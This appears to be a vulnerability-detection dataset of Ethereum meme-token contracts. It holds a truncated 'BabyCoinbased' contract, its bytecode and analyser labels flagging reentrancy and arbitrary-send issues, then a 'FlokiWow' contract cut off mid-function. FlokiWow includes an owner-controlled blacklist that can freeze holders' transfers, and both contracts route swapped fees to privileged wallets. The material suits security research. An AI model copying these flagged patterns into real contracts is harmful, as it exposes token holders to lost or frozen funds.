public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function setFee(uint256 impactFee) private { uint256 _impactFee = 10; if(impactFee < 10) { _impactFee = 10; } else if(impactFee > 40) { _impactFee = 40; } else { _impactFee = impactFee; } if(_impactFee.mod(2) != 0) { _impactFee++; } _taxFee = (_impactFee.mul(2)).div(10); _teamFee = (_impactFee.mul(8)).div(10); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _taxFee = 2; _teamFee = 8; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(_useImpactFeeSetter) { uint256 feeBasis = amount.mul(_feeMultiplier); feeBasis = feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610357578063c3c8cd8014610377578063c9567bf91461038c578063db92dbb6146103a1578063dd62ed3e146103b6578063e8078d94146103fc57600080fd5b8063715018a6146102ae5780638da5cb5b146102c357806395d89b41146102eb578063a9059cbb14610318578063a985ceef1461033857600080fd5b8063313ce567116100fd578063313ce567146101fb57806345596e2e146102175780635932ead11461023957806368a3a6a5146102595780636fc3eaec1461027957806370a082311461028e57600080fd5b806306fdde0314610145578063095ea7b31461017057806318160ddd146101a057806323b872dd146101c657806327f3a72a146101e657600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5061015a610411565b6040516101679190611bed565b60405180910390f35b34801561017c57600080fd5b5061019061018b366004611b45565b610431565b6040519015158152602001610167565b3480156101ac57600080fd5b50683635c9adc5dea000005b604051908152602001610167565b3480156101d257600080fd5b506101906101e1366004611b05565b610448565b3480156101f257600080fd5b506101b86104b1565b34801561020757600080fd5b5060405160098152602001610167565b34801561022357600080fd5b50610237610232366004611ba8565b6104c1565b005b34801561024557600080fd5b50610237610254366004611b70565b61056a565b34801561026557600080fd5b506101b8610274366004611a95565b6105e9565b34801561028557600080fd5b5061023761060c565b34801561029a57600080fd5b506101b86102a9366004611a95565b610639565b3480156102ba57600080fd5b5061023761065b565b3480156102cf57600080fd5b506000546040516001600160a01b039091168152602001610167565b3480156102f757600080fd5b506040805180820190915260048152634241425960e01b602082015261015a565b34801561032457600080fd5b50610190610333366004611b45565b6106cf565b34801561034457600080fd5b50601454600160a81b900460ff16610190565b34801561036357600080fd5b506101b8610372366004611a95565b6106dc565b34801561038357600080fd5b50610237610702565b34801561039857600080fd5b50610237610738565b3480156103ad57600080fd5b506101b8610785565b3480156103c257600080fd5b506101b86103d1366004611acd565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561040857600080fd5b5061023761079d565b6060604051806060016040528060228152602001611dee60229139905090565b600061043e338484610b50565b5060015b92915050565b6000610455848484610c74565b6104a784336104a285604051806060016040528060288152602001611dc6602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611217565b610b50565b5060019392505050565b60006104bc30610639565b905090565b6011546001600160a01b0316336001600160a01b0316146104e157600080fd5b6033811061052e5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161052590611c40565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161055f565b6001600160a01b0381166000908152600660205260408120546104429042611d30565b6011546001600160a01b0316336001600160a01b03161461062c57600080fd5b4761063681611251565b50565b6001600160a01b038116600090815260026020526040812054610442906112d6565b6000546001600160a01b031633146106855760405162461bcd60e51b815260040161052590611c40565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061043e338484610c74565b6001600160a01b0381166000908152600660205260408120600101546104429042611d30565b6011546001600160a01b0316336001600160a01b03161461072257600080fd5b600061072d30610639565b90506106368161135a565b6000546001600160a01b031633146107625760405162461bcd60e51b815260040161052590611c40565b6014805460ff60a01b1916600160a01b179055610780426078611ce5565b601555565b6014546000906104bc906001600160a01b0316610639565b6000546001600160a01b031633146107c75760405162461bcd60e51b815260040161052590611c40565b601454600160a01b900460ff16156108215760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610525565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085e3082683635c9adc5dea00000610b50565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089757600080fd5b505afa1580156108ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108cf9190611ab1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091757600080fd5b505afa15801561092b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094f9190611ab1565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099757600080fd5b505af11580156109ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cf9190611ab1565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109ff81610639565b600080610a146000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7757600080fd5b505af1158015610a8b573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab09190611bc0565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1457600080fd5b505af1158015610b28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4c9190611b8c565b5050565b6001600160a01b038316610bb25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610525565b6001600160a01b038216610c135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610525565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610525565b6001600160a01b038216610d3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610525565b60008111610d9c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610525565b6000546001600160a01b03848116911614801590610dc857506000546001600160a01b03838116911614155b156111ba57601454600160a81b900460ff1615610e48573360009081526006602052604090206002015460ff16610e4857604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7357506013546001600160a01b03838116911614155b8015610e9857506001600160a01b03821660009081526005602052604090205460ff16155b15610ffc57601454600160a01b900460ff16610ef65760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610525565b60026009556008600a55601454600160a81b900460ff1615610fc257426015541115610fc257601054811115610f2b57600080fd5b6001600160a01b0382166000908152600660205260409020544211610f9d5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610525565b610fa842602d611ce5565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ffc57610fdf42600f611ce5565b6001600160a01b0383166000908152600660205260409020600101555b600061100730610639565b601454909150600160b01b900460ff1615801561103257506014546001600160a01b03858116911614155b80156110475750601454600160a01b900460ff165b156111b857601454600160a81b900460ff16156110d4576001600160a01b03841660009081526006602052604090206001015442116110d45760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610525565b601454600160b81b900460ff16156111395760006110fd600c54846114ff90919063ffffffff16565b60145490915061112c9061112590859061111f906001600160a01b0316610639565b9061157e565b82906115dd565b90506111378161161f565b505b80156111a657600b5460145461116f916064916111699190611163906001600160a01b0316610639565b906114ff565b906115dd565b81111561119d57600b5460145461119a916064916111699190611163906001600160a01b0316610639565b90505b6111a68161135a565b4780156111b6576111b647611251565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111fc57506001600160a01b03831660009081526005602052604090205460ff165b15611205575060005b6112118484848461168d565b50505050565b6000818484111561123b5760405162461bcd60e51b81526004016105259190611bed565b5060006112488486611d30565b95945050505050565b6011546001600160a01b03166108fc61126b8360026115dd565b6040518115909202916000818181858888f19350505050158015611293573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112ae8360026115dd565b6040518115909202916000818181858888f19350505050158015610b4c573d6000803e3d6000fd5b600060075482111561133d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610525565b60006113476116bb565b905061135383826115dd565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113b057634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140457600080fd5b505afa158015611418573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143c9190611ab1565b8160018151811061145d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114839130911684610b50565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bc908590600090869030904290600401611c75565b600060405180830381600087803b1580156114d657600080fd5b505af11580156114ea573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261150e57506000610442565b600061151a8385611d11565b9050826115278583611cfd565b146113535760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610525565b60008061158b8385611ce5565b9050838110156113535760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610525565b600061135383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116de565b600a808210156116315750600a611645565b602882111561164257506028611645565b50805b61165081600261170c565b15611663578061165f81611d47565b9150505b611673600a6111698360026114ff565b600955611686600a6111698360086114ff565b600a555050565b8061169a5761169a61174e565b6116a584848461177c565b8061121157611211600e54600955600f54600a55565b60008060006116c8611873565b90925090506116d782826115dd565b9250505090565b600081836116ff5760405162461bcd60e51b81526004016105259190611bed565b5060006112488486611cfd565b600061135383836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118b5565b60095415801561175e5750600a54155b1561176557565b60098054600e55600a8054600f5560009182905555565b60008060008060008061178e876118e9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117c09087611946565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ef908661157e565b6001600160a01b03891660009081526002602052604090205561181181611988565b61181b84836119d2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161186091815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061188f82826115dd565b8210156118ac57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118d65760405162461bcd60e51b81526004016105259190611bed565b506118e18385611d62565b949350505050565b60008060008060008060008060006119068a600954600a546119f6565b92509250925060006119166116bb565b905060008060006119298e878787611a45565b919e509c509a509598509396509194505050505091939550919395565b600061135383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611217565b60006119926116bb565b905060006119a083836114ff565b306000908152600260205260409020549091506119bd908261157e565b30600090815260026020526040902055505050565b6007546119df9083611946565b6007556008546119ef908261157e565b6008555050565b6000808080611a0a606461116989896114ff565b90506000611a1d60646111698a896114ff565b90506000611a3582611a2f8b86611946565b90611946565b9992985090965090945050505050565b6000808080611a5488866114ff565b90506000611a6288876114ff565b90506000611a7088886114ff565b90506000611a8282611a2f8686611946565b939b939a50919850919650505050505050565b600060208284031215611aa6578081fd5b813561135381611da2565b600060208284031215611ac2578081fd5b815161135381611da2565b60008060408385031215611adf578081fd5b8235611aea81611da2565b91506020830135611afa81611da2565b809150509250929050565b600080600060608486031215611b19578081fd5b8335611b2481611da2565b92506020840135611b3481611da2565b929592945050506040919091013590565b60008060408385031215611b57578182fd5b8235611b6281611da2565b946020939093013593505050565b600060208284031215611b81578081fd5b813561135381611db7565b600060208284031215611b9d578081fd5b815161135381611db7565b600060208284031215611bb9578081fd5b5035919050565b600080600060608486031215611bd4578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1957858101830151858201604001528201611bfd565b81811115611c2a5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc45784516001600160a01b031683529383019391830191600101611c9f565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf857611cf8611d76565b500190565b600082611d0c57611d0c611d8c565b500490565b6000816000190483118215151615611d2b57611d2b611d76565b500290565b600082821015611d4257611d42611d76565b500390565b6000600019821415611d5b57611d5b611d76565b5060010190565b600082611d7157611d71611d8c565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063657600080fd5b801515811461063657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542616279436f696e6261736564202d20742e6d652f42616279436f696e6261736564a264697066735822122065c66fa1a19349874d79dc3e9b35f15364f4d0d1ee12a5a229234a615c199ba964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,965
0x82a8576a9ec42654b447dcc5e9cfecd1db324500
//FlokiWow //Telegram: https://t.me/FlokiWow //2% Deflationary yes //CG, CMC listing: Ongoing //Fair Launch //Community Driven - 100% Community Owned! // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FlokiWow is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FlokiWow | t.me/FlokiWow"; string private constant _symbol = "FlokiWow"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); 